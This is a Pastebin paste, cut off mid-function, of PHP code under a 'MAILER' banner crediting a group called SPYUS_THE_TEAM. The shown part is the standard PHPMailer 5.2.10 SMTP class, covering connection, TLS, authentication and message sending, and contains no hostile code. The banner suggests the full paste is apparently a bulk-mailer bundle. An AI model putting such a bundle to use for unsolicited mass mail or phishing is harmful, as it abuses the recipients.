Guest User

Untitled

a guest
Aug 7th, 2016
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 195.75 KB | None | 0 0
  1. <?php
  2. /**
  3. ###########################
  4. # MAILER
  5. # @SPYUS_THE_TEAM
  6. # [+]A.SYKES[+]
  7. # [+]D.KR[+]
  8. # @CNT
  9. # Mailer project just for Share !!!
  10. ###########################
  11. **/
  12. class SMTP
  13. {
  14. /**
  15. * The PHPMailer SMTP version number.
  16. * @type string
  17. */
  18. const VERSION = '5.2.10';
  19.  
  20. /**
  21. * SMTP line break constant.
  22. * @type string
  23. */
  24. const CRLF = "\r\n";
  25.  
  26. /**
  27. * The SMTP port to use if one is not specified.
  28. * @type integer
  29. */
  30. const DEFAULT_SMTP_PORT = 25;
  31.  
  32. /**
  33. * The maximum line length allowed by RFC 2822 section 2.1.1
  34. * @type integer
  35. */
  36. const MAX_LINE_LENGTH = 998;
  37.  
  38. /**
  39. * Debug level for no output
  40. */
  41. const DEBUG_OFF = 0;
  42.  
  43. /**
  44. * Debug level to show client -> server messages
  45. */
  46. const DEBUG_CLIENT = 1;
  47.  
  48. /**
  49. * Debug level to show client -> server and server -> client messages
  50. */
  51. const DEBUG_SERVER = 2;
  52.  
  53. /**
  54. * Debug level to show connection status, client -> server and server -> client messages
  55. */
  56. const DEBUG_CONNECTION = 3;
  57.  
  58. /**
  59. * Debug level to show all messages
  60. */
  61. const DEBUG_LOWLEVEL = 4;
  62.  
  63. /**
  64. * The PHPMailer SMTP Version number.
  65. * @type string
  66. * @deprecated Use the `VERSION` constant instead
  67. * @see SMTP::VERSION
  68. */
  69. public $Version = '5.2.10';
  70.  
  71. /**
  72. * SMTP server port number.
  73. * @type integer
  74. * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
  75. * @see SMTP::DEFAULT_SMTP_PORT
  76. */
  77. public $SMTP_PORT = 25;
  78.  
  79. /**
  80. * SMTP reply line ending.
  81. * @type string
  82. * @deprecated Use the `CRLF` constant instead
  83. * @see SMTP::CRLF
  84. */
  85. public $CRLF = "\r\n";
  86.  
  87. /**
  88. * Debug output level.
  89. * Options:
  90. * * self::DEBUG_OFF (`0`) No debug output, default
  91. * * self::DEBUG_CLIENT (`1`) Client commands
  92. * * self::DEBUG_SERVER (`2`) Client commands and server responses
  93. * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
  94. * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
  95. * @type integer
  96. */
  97. public $do_debug = self::DEBUG_OFF;
  98.  
  99. /**
  100. * How to handle debug output.
  101. * Options:
  102. * * `echo` Output plain-text as-is, appropriate for CLI
  103. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  104. * * `error_log` Output to error log as configured in php.ini
  105. *
  106. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  107. * <code>
  108. * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  109. * </code>
  110. * @type string|callable
  111. */
  112. public $Debugoutput = 'echo';
  113.  
  114. /**
  115. * Whether to use VERP.
  116. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
  117. * @link http://www.postfix.org/VERP_README.html Info on VERP
  118. * @type boolean
  119. */
  120. public $do_verp = false;
  121.  
  122. /**
  123. * The timeout value for connection, in seconds.
  124. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  125. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
  126. * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
  127. * @type integer
  128. */
  129. public $Timeout = 300;
  130.  
  131. /**
  132. * How long to wait for commands to complete, in seconds.
  133. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  134. * @type integer
  135. */
  136. public $Timelimit = 300;
  137.  
  138. /**
  139. * The socket for the server connection.
  140. * @type resource
  141. */
  142. protected $smtp_conn;
  143.  
  144. /**
  145. * Error information, if any, for the last SMTP command.
  146. * @type array
  147. */
  148. protected $error = array(
  149. 'error' => '',
  150. 'detail' => '',
  151. 'smtp_code' => '',
  152. 'smtp_code_ex' => ''
  153. );
  154.  
  155. /**
  156. * The reply the server sent to us for HELO.
  157. * If null, no HELO string has yet been received.
  158. * @type string|null
  159. */
  160. protected $helo_rply = null;
  161.  
  162. /**
  163. * The set of SMTP extensions sent in reply to EHLO command.
  164. * Indexes of the array are extension names.
  165. * Value at index 'HELO' or 'EHLO' (according to command that was sent)
  166. * represents the server name. In case of HELO it is the only element of the array.
  167. * Other values can be boolean TRUE or an array containing extension options.
  168. * If null, no HELO/EHLO string has yet been received.
  169. * @type array|null
  170. */
  171. protected $server_caps = null;
  172.  
  173. /**
  174. * The most recent reply received from the server.
  175. * @type string
  176. */
  177. protected $last_reply = '';
  178.  
  179. /**
  180. * Output debugging info via a user-selected method.
  181. * @see SMTP::$Debugoutput
  182. * @see SMTP::$do_debug
  183. * @param string $str Debug string to output
  184. * @param integer $level The debug level of this message; see DEBUG_* constants
  185. * @return void
  186. */
  187. protected function edebug($str, $level = 0)
  188. {
  189. if ($level > $this->do_debug) {
  190. return;
  191. }
  192. //Avoid clash with built-in function names
  193. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  194. call_user_func($this->Debugoutput, $str, $this->do_debug);
  195. return;
  196. }
  197. switch ($this->Debugoutput) {
  198. case 'error_log':
  199. //Don't output, just log
  200. error_log($str);
  201. break;
  202. case 'html':
  203. //Cleans up output a bit for a better looking, HTML-safe output
  204. echo htmlentities(
  205. preg_replace('/[\r\n]+/', '', $str),
  206. ENT_QUOTES,
  207. 'UTF-8'
  208. )
  209. . "<br>\n";
  210. break;
  211. case 'echo':
  212. default:
  213. //Normalize line breaks
  214. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  215. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  216. "\n",
  217. "\n \t ",
  218. trim($str)
  219. )."\n";
  220. }
  221. }
  222.  
  223. /**
  224. * Connect to an SMTP server.
  225. * @param string $host SMTP server IP or host name
  226. * @param integer $port The port number to connect to
  227. * @param integer $timeout How long to wait for the connection to open
  228. * @param array $options An array of options for stream_context_create()
  229. * @access public
  230. * @return boolean
  231. */
  232. public function connect($host, $port = null, $timeout = 30, $options = array())
  233. {
  234. static $streamok;
  235. //This is enabled by default since 5.0.0 but some providers disable it
  236. //Check this once and cache the result
  237. if (is_null($streamok)) {
  238. $streamok = function_exists('stream_socket_client');
  239. }
  240. // Clear errors to avoid confusion
  241. $this->setError('');
  242. // Make sure we are __not__ connected
  243. if ($this->connected()) {
  244. // Already connected, generate error
  245. $this->setError('Already connected to a server');
  246. return false;
  247. }
  248. if (empty($port)) {
  249. $port = self::DEFAULT_SMTP_PORT;
  250. }
  251. // Connect to the SMTP server
  252. $this->edebug(
  253. "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  254. self::DEBUG_CONNECTION
  255. );
  256. $errno = 0;
  257. $errstr = '';
  258. if ($streamok) {
  259. $socket_context = stream_context_create($options);
  260. //Suppress errors; connection failures are handled at a higher level
  261. $this->smtp_conn = @stream_socket_client(
  262. $host . ":" . $port,
  263. $errno,
  264. $errstr,
  265. $timeout,
  266. STREAM_CLIENT_CONNECT,
  267. $socket_context
  268. );
  269. } else {
  270. //Fall back to fsockopen which should work in more places, but is missing some features
  271. $this->edebug(
  272. "Connection: stream_socket_client not available, falling back to fsockopen",
  273. self::DEBUG_CONNECTION
  274. );
  275. $this->smtp_conn = fsockopen(
  276. $host,
  277. $port,
  278. $errno,
  279. $errstr,
  280. $timeout
  281. );
  282. }
  283. // Verify we connected properly
  284. if (!is_resource($this->smtp_conn)) {
  285. $this->setError(
  286. 'Failed to connect to server',
  287. $errno,
  288. $errstr
  289. );
  290. $this->edebug(
  291. 'SMTP ERROR: ' . $this->error['error']
  292. . ": $errstr ($errno)",
  293. self::DEBUG_CLIENT
  294. );
  295. return false;
  296. }
  297. $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  298. // SMTP server can take longer to respond, give longer timeout for first read
  299. // Windows does not have support for this timeout function
  300. if (substr(PHP_OS, 0, 3) != 'WIN') {
  301. $max = ini_get('max_execution_time');
  302. // Don't bother if unlimited
  303. if ($max != 0 && $timeout > $max) {
  304. @set_time_limit($timeout);
  305. }
  306. stream_set_timeout($this->smtp_conn, $timeout, 0);
  307. }
  308. // Get any announcement
  309. $announce = $this->get_lines();
  310. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  311. return true;
  312. }
  313.  
  314. /**
  315. * Initiate a TLS (encrypted) session.
  316. * @access public
  317. * @return boolean
  318. */
  319. public function startTLS()
  320. {
  321. if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  322. return false;
  323. }
  324. // Begin encrypted connection
  325. if (!stream_socket_enable_crypto(
  326. $this->smtp_conn,
  327. true,
  328. STREAM_CRYPTO_METHOD_TLS_CLIENT
  329. )) {
  330. return false;
  331. }
  332. return true;
  333. }
  334.  
  335. /**
  336. * Perform SMTP authentication.
  337. * Must be run after hello().
  338. * @see hello()
  339. * @param string $username The user name
  340. * @param string $password The password
  341. * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
  342. * @param string $realm The auth realm for NTLM
  343. * @param string $workstation The auth workstation for NTLM
  344. * @access public
  345. * @return boolean True if successfully authenticated.
  346. */
  347. public function authenticate(
  348. $username,
  349. $password,
  350. $authtype = null,
  351. $realm = '',
  352. $workstation = ''
  353. ) {
  354. if (!$this->server_caps) {
  355. $this->setError('Authentication is not allowed before HELO/EHLO');
  356. return false;
  357. }
  358.  
  359. if (array_key_exists('EHLO', $this->server_caps)) {
  360. // SMTP extensions are available. Let's try to find a proper authentication method
  361.  
  362. if (!array_key_exists('AUTH', $this->server_caps)) {
  363. $this->setError('Authentication is not allowed at this stage');
  364. // 'at this stage' means that auth may be allowed after the stage changes
  365. // e.g. after STARTTLS
  366. return false;
  367. }
  368.  
  369. self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  370. self::edebug(
  371. 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  372. self::DEBUG_LOWLEVEL
  373. );
  374.  
  375. if (empty($authtype)) {
  376. foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  377. if (in_array($method, $this->server_caps['AUTH'])) {
  378. $authtype = $method;
  379. break;
  380. }
  381. }
  382. if (empty($authtype)) {
  383. $this->setError('No supported authentication methods found');
  384. return false;
  385. }
  386. self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  387. }
  388.  
  389. if (!in_array($authtype, $this->server_caps['AUTH'])) {
  390. $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  391. return false;
  392. }
  393. } elseif (empty($authtype)) {
  394. $authtype = 'LOGIN';
  395. }
  396. switch ($authtype) {
  397. case 'PLAIN':
  398. // Start authentication
  399. if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  400. return false;
  401. }
  402. // Send encoded username and password
  403. if (!$this->sendCommand(
  404. 'User & Password',
  405. base64_encode("\0" . $username . "\0" . $password),
  406. 235
  407. )
  408. ) {
  409. return false;
  410. }
  411. break;
  412. case 'LOGIN':
  413. // Start authentication
  414. if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  415. return false;
  416. }
  417. if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  418. return false;
  419. }
  420. if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  421. return false;
  422. }
  423. break;
  424. case 'NTLM':
  425. /*
  426. * ntlm_sasl_client.php
  427. * Bundled with Permission
  428. *
  429. * How to telnet in windows:
  430. * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
  431. * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
  432. */
  433. require_once 'extras/ntlm_sasl_client.php';
  434. $temp = new stdClass;
  435. $ntlm_client = new ntlm_sasl_client_class;
  436. //Check that functions are available
  437. if (!$ntlm_client->Initialize($temp)) {
  438. $this->setError($temp->error);
  439. $this->edebug(
  440. 'You need to enable some modules in your php.ini file: '
  441. . $this->error['error'],
  442. self::DEBUG_CLIENT
  443. );
  444. return false;
  445. }
  446. //msg1
  447. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  448.  
  449. if (!$this->sendCommand(
  450. 'AUTH NTLM',
  451. 'AUTH NTLM ' . base64_encode($msg1),
  452. 334
  453. )
  454. ) {
  455. return false;
  456. }
  457. //Though 0 based, there is a white space after the 3 digit number
  458. //msg2
  459. $challenge = substr($this->last_reply, 3);
  460. $challenge = base64_decode($challenge);
  461. $ntlm_res = $ntlm_client->NTLMResponse(
  462. substr($challenge, 24, 8),
  463. $password
  464. );
  465. //msg3
  466. $msg3 = $ntlm_client->TypeMsg3(
  467. $ntlm_res,
  468. $username,
  469. $realm,
  470. $workstation
  471. );
  472. // send encoded username
  473. return $this->sendCommand('Username', base64_encode($msg3), 235);
  474. case 'CRAM-MD5':
  475. // Start authentication
  476. if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  477. return false;
  478. }
  479. // Get the challenge
  480. $challenge = base64_decode(substr($this->last_reply, 4));
  481.  
  482. // Build the response
  483. $response = $username . ' ' . $this->hmac($challenge, $password);
  484.  
  485. // send encoded credentials
  486. return $this->sendCommand('Username', base64_encode($response), 235);
  487. default:
  488. $this->setError("Authentication method \"$authtype\" is not supported");
  489. return false;
  490. }
  491. return true;
  492. }
  493.  
  494. /**
  495. * Calculate an MD5 HMAC hash.
  496. * Works like hash_hmac('md5', $data, $key)
  497. * in case that function is not available
  498. * @param string $data The data to hash
  499. * @param string $key The key to hash with
  500. * @access protected
  501. * @return string
  502. */
  503. protected function hmac($data, $key)
  504. {
  505. if (function_exists('hash_hmac')) {
  506. return hash_hmac('md5', $data, $key);
  507. }
  508.  
  509. // The following borrowed from
  510. // http://php.net/manual/en/function.mhash.php#27225
  511.  
  512. // RFC 2104 HMAC implementation for php.
  513. // Creates an md5 HMAC.
  514. // Eliminates the need to install mhash to compute a HMAC
  515. // by Lance Rushing
  516.  
  517. $bytelen = 64; // byte length for md5
  518. if (strlen($key) > $bytelen) {
  519. $key = pack('H*', md5($key));
  520. }
  521. $key = str_pad($key, $bytelen, chr(0x00));
  522. $ipad = str_pad('', $bytelen, chr(0x36));
  523. $opad = str_pad('', $bytelen, chr(0x5c));
  524. $k_ipad = $key ^ $ipad;
  525. $k_opad = $key ^ $opad;
  526.  
  527. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  528. }
  529.  
  530. /**
  531. * Check connection state.
  532. * @access public
  533. * @return boolean True if connected.
  534. */
  535. public function connected()
  536. {
  537. if (is_resource($this->smtp_conn)) {
  538. $sock_status = stream_get_meta_data($this->smtp_conn);
  539. if ($sock_status['eof']) {
  540. // The socket is valid but we are not connected
  541. $this->edebug(
  542. 'SMTP NOTICE: EOF caught while checking if connected',
  543. self::DEBUG_CLIENT
  544. );
  545. $this->close();
  546. return false;
  547. }
  548. return true; // everything looks good
  549. }
  550. return false;
  551. }
  552.  
  553. /**
  554. * Close the socket and clean up the state of the class.
  555. * Don't use this function without first trying to use QUIT.
  556. * @see quit()
  557. * @access public
  558. * @return void
  559. */
  560. public function close()
  561. {
  562. $this->setError('');
  563. $this->server_caps = null;
  564. $this->helo_rply = null;
  565. if (is_resource($this->smtp_conn)) {
  566. // close the connection and cleanup
  567. fclose($this->smtp_conn);
  568. $this->smtp_conn = null; //Makes for cleaner serialization
  569. $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  570. }
  571. }
  572.  
  573. /**
  574. * Send an SMTP DATA command.
  575. * Issues a data command and sends the msg_data to the server,
  576. * finializing the mail transaction. $msg_data is the message
  577. * that is to be send with the headers. Each header needs to be
  578. * on a single line followed by a <CRLF> with the message headers
  579. * and the message body being separated by and additional <CRLF>.
  580. * Implements rfc 821: DATA <CRLF>
  581. * @param string $msg_data Message data to send
  582. * @access public
  583. * @return boolean
  584. */
  585. public function data($msg_data)
  586. {
  587. //This will use the standard timelimit
  588. if (!$this->sendCommand('DATA', 'DATA', 354)) {
  589. return false;
  590. }
  591.  
  592. /* The server is ready to accept data!
  593. * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
  594. * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
  595. * smaller lines to fit within the limit.
  596. * We will also look for lines that start with a '.' and prepend an additional '.'.
  597. * NOTE: this does not count towards line-length limit.
  598. */
  599.  
  600. // Normalize line breaks before exploding
  601. $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  602.  
  603. /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
  604. * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
  605. * process all lines before a blank line as headers.
  606. */
  607.  
  608. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  609. $in_headers = false;
  610. if (!empty($field) && strpos($field, ' ') === false) {
  611. $in_headers = true;
  612. }
  613.  
  614. foreach ($lines as $line) {
  615. $lines_out = array();
  616. if ($in_headers and $line == '') {
  617. $in_headers = false;
  618. }
  619. //Break this line up into several smaller lines if it's too long
  620. //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
  621. while (isset($line[self::MAX_LINE_LENGTH])) {
  622. //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
  623. //so as to avoid breaking in the middle of a word
  624. $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  625. //Deliberately matches both false and 0
  626. if (!$pos) {
  627. //No nice break found, add a hard break
  628. $pos = self::MAX_LINE_LENGTH - 1;
  629. $lines_out[] = substr($line, 0, $pos);
  630. $line = substr($line, $pos);
  631. } else {
  632. //Break at the found point
  633. $lines_out[] = substr($line, 0, $pos);
  634. //Move along by the amount we dealt with
  635. $line = substr($line, $pos + 1);
  636. }
  637. //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
  638. if ($in_headers) {
  639. $line = "\t" . $line;
  640. }
  641. }
  642. $lines_out[] = $line;
  643.  
  644. //Send the lines to the server
  645. foreach ($lines_out as $line_out) {
  646. //RFC2821 section 4.5.2
  647. if (!empty($line_out) and $line_out[0] == '.') {
  648. $line_out = '.' . $line_out;
  649. }
  650. $this->client_send($line_out . self::CRLF);
  651. }
  652. }
  653.  
  654. //Message data has been sent, complete the command
  655. //Increase timelimit for end of DATA command
  656. $savetimelimit = $this->Timelimit;
  657. $this->Timelimit = $this->Timelimit * 2;
  658. $result = $this->sendCommand('DATA END', '.', 250);
  659. //Restore timelimit
  660. $this->Timelimit = $savetimelimit;
  661. return $result;
  662. }
  663.  
  664. /**
  665. * Send an SMTP HELO or EHLO command.
  666. * Used to identify the sending server to the receiving server.
  667. * This makes sure that client and server are in a known state.
  668. * Implements RFC 821: HELO <SP> <domain> <CRLF>
  669. * and RFC 2821 EHLO.
  670. * @param string $host The host name or IP to connect to
  671. * @access public
  672. * @return boolean
  673. */
  674. public function hello($host = '')
  675. {
  676. //Try extended hello first (RFC 2821)
  677. return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  678. }
  679.  
  680. /**
  681. * Send an SMTP HELO or EHLO command.
  682. * Low-level implementation used by hello()
  683. * @see hello()
  684. * @param string $hello The HELO string
  685. * @param string $host The hostname to say we are
  686. * @access protected
  687. * @return boolean
  688. */
  689. protected function sendHello($hello, $host)
  690. {
  691. $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  692. $this->helo_rply = $this->last_reply;
  693. if ($noerror) {
  694. $this->parseHelloFields($hello);
  695. } else {
  696. $this->server_caps = null;
  697. }
  698. return $noerror;
  699. }
  700.  
  701. /**
  702. * Parse a reply to HELO/EHLO command to discover server extensions.
  703. * In case of HELO, the only parameter that can be discovered is a server name.
  704. * @access protected
  705. * @param string $type - 'HELO' or 'EHLO'
  706. */
  707. protected function parseHelloFields($type)
  708. {
  709. $this->server_caps = array();
  710. $lines = explode("\n", $this->last_reply);
  711. foreach ($lines as $n => $s) {
  712. $s = trim(substr($s, 4));
  713. if (!$s) {
  714. continue;
  715. }
  716. $fields = explode(' ', $s);
  717. if (!empty($fields)) {
  718. if (!$n) {
  719. $name = $type;
  720. $fields = $fields[0];
  721. } else {
  722. $name = array_shift($fields);
  723. if ($name == 'SIZE') {
  724. $fields = ($fields) ? $fields[0] : 0;
  725. }
  726. }
  727. $this->server_caps[$name] = ($fields ? $fields : true);
  728. }
  729. }
  730. }
  731.  
  732. /**
  733. * Send an SMTP MAIL command.
  734. * Starts a mail transaction from the email address specified in
  735. * $from. Returns true if successful or false otherwise. If True
  736. * the mail transaction is started and then one or more recipient
  737. * commands may be called followed by a data command.
  738. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  739. * @param string $from Source address of this message
  740. * @access public
  741. * @return boolean
  742. */
  743. public function mail($from)
  744. {
  745. $useVerp = ($this->do_verp ? ' XVERP' : '');
  746. return $this->sendCommand(
  747. 'MAIL FROM',
  748. 'MAIL FROM:<' . $from . '>' . $useVerp,
  749. 250
  750. );
  751. }
  752.  
  753. /**
  754. * Send an SMTP QUIT command.
  755. * Closes the socket if there is no error or the $close_on_error argument is true.
  756. * Implements from rfc 821: QUIT <CRLF>
  757. * @param boolean $close_on_error Should the connection close if an error occurs?
  758. * @access public
  759. * @return boolean
  760. */
  761. public function quit($close_on_error = true)
  762. {
  763. $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  764. $err = $this->error; //Save any error
  765. if ($noerror or $close_on_error) {
  766. $this->close();
  767. $this->error = $err; //Restore any error from the quit command
  768. }
  769. return $noerror;
  770. }
  771.  
  772. /**
  773. * Send an SMTP RCPT command.
  774. * Sets the TO argument to $toaddr.
  775. * Returns true if the recipient was accepted false if it was rejected.
  776. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  777. * @param string $toaddr The address the message is being sent to
  778. * @access public
  779. * @return boolean
  780. */
  781. public function recipient($toaddr)
  782. {
  783. return $this->sendCommand(
  784. 'RCPT TO',
  785. 'RCPT TO:<' . $toaddr . '>',
  786. array(250, 251)
  787. );
  788. }
  789.  
  790. /**
  791. * Send an SMTP RSET command.
  792. * Abort any transaction that is currently in progress.
  793. * Implements rfc 821: RSET <CRLF>
  794. * @access public
  795. * @return boolean True on success.
  796. */
  797. public function reset()
  798. {
  799. return $this->sendCommand('RSET', 'RSET', 250);
  800. }
  801.  
  802. /**
  803. * Send a command to an SMTP server and check its return code.
  804. * @param string $command The command name - not sent to the server
  805. * @param string $commandstring The actual command to send
  806. * @param integer|array $expect One or more expected integer success codes
  807. * @access protected
  808. * @return boolean True on success.
  809. */
  810. protected function sendCommand($command, $commandstring, $expect)
  811. {
  812. if (!$this->connected()) {
  813. $this->setError("Called $command without being connected");
  814. return false;
  815. }
  816. $this->client_send($commandstring . self::CRLF);
  817.  
  818. $this->last_reply = $this->get_lines();
  819. // Fetch SMTP code and possible error code explanation
  820. $matches = array();
  821. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  822. $code = $matches[1];
  823. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  824. // Cut off error code from each response line
  825. $detail = preg_replace(
  826. "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  827. '',
  828. $this->last_reply
  829. );
  830. } else {
  831. // Fall back to simple parsing if regex fails
  832. $code = substr($this->last_reply, 0, 3);
  833. $code_ex = null;
  834. $detail = substr($this->last_reply, 4);
  835. }
  836.  
  837. $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  838.  
  839. if (!in_array($code, (array)$expect)) {
  840. $this->setError(
  841. "$command command failed",
  842. $detail,
  843. $code,
  844. $code_ex
  845. );
  846. $this->edebug(
  847. 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  848. self::DEBUG_CLIENT
  849. );
  850. return false;
  851. }
  852.  
  853. $this->setError('');
  854. return true;
  855. }
  856.  
  857. /**
  858. * Send an SMTP SAML command.
  859. * Starts a mail transaction from the email address specified in $from.
  860. * Returns true if successful or false otherwise. If True
  861. * the mail transaction is started and then one or more recipient
  862. * commands may be called followed by a data command. This command
  863. * will send the message to the users terminal if they are logged
  864. * in and send them an email.
  865. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  866. * @param string $from The address the message is from
  867. * @access public
  868. * @return boolean
  869. */
  870. public function sendAndMail($from)
  871. {
  872. return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  873. }
  874.  
  875. /**
  876. * Send an SMTP VRFY command.
  877. * @param string $name The name to verify
  878. * @access public
  879. * @return boolean
  880. */
  881. public function verify($name)
  882. {
  883. return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  884. }
  885.  
  886. /**
  887. * Send an SMTP NOOP command.
  888. * Used to keep keep-alives alive, doesn't actually do anything
  889. * @access public
  890. * @return boolean
  891. */
  892. public function noop()
  893. {
  894. return $this->sendCommand('NOOP', 'NOOP', 250);
  895. }
  896.  
  897. /**
  898. * Send an SMTP TURN command.
  899. * This is an optional command for SMTP that this class does not support.
  900. * This method is here to make the RFC821 Definition complete for this class
  901. * and _may_ be implemented in future
  902. * Implements from rfc 821: TURN <CRLF>
  903. * @access public
  904. * @return boolean
  905. */
  906. public function turn()
  907. {
  908. $this->setError('The SMTP TURN command is not implemented');
  909. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  910. return false;
  911. }
  912.  
  913. /**
  914. * Send raw data to the server.
  915. * @param string $data The data to send
  916. * @access public
  917. * @return integer|boolean The number of bytes sent to the server or false on error
  918. */
  919. public function client_send($data)
  920. {
  921. $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  922. return fwrite($this->smtp_conn, $data);
  923. }
  924.  
  925. /**
  926. * Get the latest error.
  927. * @access public
  928. * @return array
  929. */
  930. public function getError()
  931. {
  932. return $this->error;
  933. }
  934.  
  935. /**
  936. * Get SMTP extensions available on the server
  937. * @access public
  938. * @return array|null
  939. */
  940. public function getServerExtList()
  941. {
  942. return $this->server_caps;
  943. }
  944.  
  945. /**
  946. * A multipurpose method
  947. * The method works in three ways, dependent on argument value and current state
  948. * 1. HELO/EHLO was not sent - returns null and set up $this->error
  949. * 2. HELO was sent
  950. * $name = 'HELO': returns server name
  951. * $name = 'EHLO': returns boolean false
  952. * $name = any string: returns null and set up $this->error
  953. * 3. EHLO was sent
  954. * $name = 'HELO'|'EHLO': returns server name
  955. * $name = any string: if extension $name exists, returns boolean True
  956. * or its options. Otherwise returns boolean False
  957. * In other words, one can use this method to detect 3 conditions:
  958. * - null returned: handshake was not or we don't know about ext (refer to $this->error)
  959. * - false returned: the requested feature exactly not exists
  960. * - positive value returned: the requested feature exists
  961. * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
  962. * @return mixed
  963. */
  964. public function getServerExt($name)
  965. {
  966. if (!$this->server_caps) {
  967. $this->setError('No HELO/EHLO was sent');
  968. return null;
  969. }
  970.  
  971. // the tight logic knot ;)
  972. if (!array_key_exists($name, $this->server_caps)) {
  973. if ($name == 'HELO') {
  974. return $this->server_caps['EHLO'];
  975. }
  976. if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  977. return false;
  978. }
  979. $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  980. return null;
  981. }
  982.  
  983. return $this->server_caps[$name];
  984. }
  985.  
  986. /**
  987. * Get the last reply from the server.
  988. * @access public
  989. * @return string
  990. */
  991. public function getLastReply()
  992. {
  993. return $this->last_reply;
  994. }
  995.  
  996. /**
  997. * Read the SMTP server's response.
  998. * Either before eof or socket timeout occurs on the operation.
  999. * With SMTP we can tell if we have more lines to read if the
  1000. * 4th character is '-' symbol. If it is a space then we don't
  1001. * need to read anything else.
  1002. * @access protected
  1003. * @return string
  1004. */
  1005. protected function get_lines()
  1006. {
  1007. // If the connection is bad, give up straight away
  1008. if (!is_resource($this->smtp_conn)) {
  1009. return '';
  1010. }
  1011. $data = '';
  1012. $endtime = 0;
  1013. stream_set_timeout($this->smtp_conn, $this->Timeout);
  1014. if ($this->Timelimit > 0) {
  1015. $endtime = time() + $this->Timelimit;
  1016. }
  1017. while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  1018. $str = @fgets($this->smtp_conn, 515);
  1019. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  1020. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  1021. $data .= $str;
  1022. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  1023. // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
  1024. if ((isset($str[3]) and $str[3] == ' ')) {
  1025. break;
  1026. }
  1027. // Timed-out? Log and break
  1028. $info = stream_get_meta_data($this->smtp_conn);
  1029. if ($info['timed_out']) {
  1030. $this->edebug(
  1031. 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  1032. self::DEBUG_LOWLEVEL
  1033. );
  1034. break;
  1035. }
  1036. // Now check if reads took too long
  1037. if ($endtime and time() > $endtime) {
  1038. $this->edebug(
  1039. 'SMTP -> get_lines(): timelimit reached ('.
  1040. $this->Timelimit . ' sec)',
  1041. self::DEBUG_LOWLEVEL
  1042. );
  1043. break;
  1044. }
